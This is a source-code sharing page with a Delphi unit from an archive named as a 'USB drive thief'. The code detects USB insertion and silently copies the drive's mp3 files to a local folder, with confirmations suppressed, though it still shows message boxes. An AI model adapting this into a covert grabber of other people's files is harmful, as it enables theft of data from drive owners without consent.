main.~pas
资源名称:U盘大盗的关键代码.rar [点击查看]
上传用户:titech
上传日期:2010-04-06
资源大小:175k
文件大小:4k
源码类别:
家庭/个人应用
开发平台:
Delphi
- unit main;
- interface
- uses
- Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
- Dialogs, StdCtrls,ShellApi;
- type
- TForm1 = class(TForm)
- Button1: TButton;
- procedure Button1Click(Sender: TObject);
- procedure FormCreate(Sender: TObject);
- private
- { Private declarations }
- public
- procedure WMDeviceChange( var Msg:Tmessage);message WM_DEVICECHANGE ;
- end;
- const
- BDT_DEVICEARRIVAL=$8000; //U盘插上时的消息
- type
- TU_drive=array[1..24] of integer;// 保存 U盘的数字符号
- var
- Form1: TForm1;
- U_cnt: integer; //U 盘个数;
- U_drive:TU_drive;
- implementation
- {$R *.dfm}
- {---------文件复制函数----------}
- procedure Xcopy(ToDir,FromDir:String);
- var
- OpStruc:TSHFileOpStruct; //声明一个TSHFileOpStruct 类型, 在ShellApi.pas 里
- FromBuf,ToBuf: Array[0..128] of char;
- begin
- FillChar(FromBuf,sizeof(FromBuf),0);
- FillChar(ToBuf,sizeof(ToBuf),0);
- StrPCopy(FromBuf,FromDir+'*.mp3'); //
- StrPCopy(ToBuf,ToDir);
- with OpStruc do
- begin
- Wnd:=form1.Handle ;
- wFunc:=FO_COPY; //执行拷贝操作
- pFrom:=@FromBuf;
- pTo:=@ToBuf; //FOF_SILENT or FOF_NOCONFIRMMKDIR or
- fFlags:= FOF_SILENT or FOF_NOCONFIRMMKDIR or FOF_NOCONFIRMATION or FOF_RENAMEONCOLLISION ;
- //不带进度条 直接建立文件夹 一切询问以 YES 回答
- fAnyOperationsAborted:=False;
- hNameMappings:=Nil;
- lpszProgressTitle:=Nil;
- end;
- ShFileOperation(OpStruc);// 调用API函数,完成操作
- showmessage('copying');
- end;
- {----------- 初始话 ------------}
- procedure init();
- var
- i:integer;
- begin
- U_cnt:=0;
- for i:=1 to 24 do
- U_drive[i]:=0;
- end;
- {---------- ↓判断是否为U盘 ↓--------}
- function isudriver( num:integer): boolean;
- var
- Drive:string;
- DriveType: WORD;
- begin
- Drive:= char(ord('A') + num) + ':';
- DriveType:=GetDriveType(Pchar(Drive));
- if DriveType=DRIVE_REMOVABLE then
- result:=true
- else
- result:=false;
- end;
- {----------↓本地盘扫描 ↓------------}
- procedure scan();
- var
- i:integer;
- begin
- init(); //初始化,避免重复记数
- for i:=3 to 25 do //从D 盘开始扫描
- begin
- if isudriver(i) then
- begin
- U_cnt:=U_cnt + 1;
- U_drive[U_cnt]:=i; //将盘符的数字代号保存
- end;
- end;
- end;
- {------------- test -----------------}
- procedure TForm1.Button1Click(Sender: TObject);
- var
- i:integer;
- str:string;
- begin
- scan();
- i:=U_drive[1];
- form1.Caption:=inttostr(U_cnt) + ' 个盘,该盘为' + char(i + ord('A') );
- str:=char(i+ord('A'));
- Xcopy('c:temp', pchar(str+ ':'));
- end;
- {-----------↓ 初始化 ↓-----------}
- procedure TForm1.FormCreate(Sender: TObject);
- begin
- init();
- end;
- {----------↓ U盘插入事件 ↓ ----------}
- procedure TForm1.WMDeviceChange(var Msg:Tmessage);
- var
- i:integer;
- str:string;
- begin
- inherited; //什么意思?
- case Msg.WParam of
- BDT_DEVICEARRIVAL: // U 盘插上事件
- begin
- form1.Tag:=form1.Tag+1;
- form1.Caption:=inttostr(form1.tag);
- if form1.tag mod 3=0 then
- begin
- scan();
- if U_cnt>0 then
- for i:=1 to U_cnt do
- begin
- str:=char(U_drive[i]+ ord('A')); //取盘符
- showmessage('begin copy '+ str);
- Xcopy('c:temp', pchar(str+ ':'));
- showmessage('end of copy!');
- end;
- end;
- end;
- end; // end of case
- end;
- end.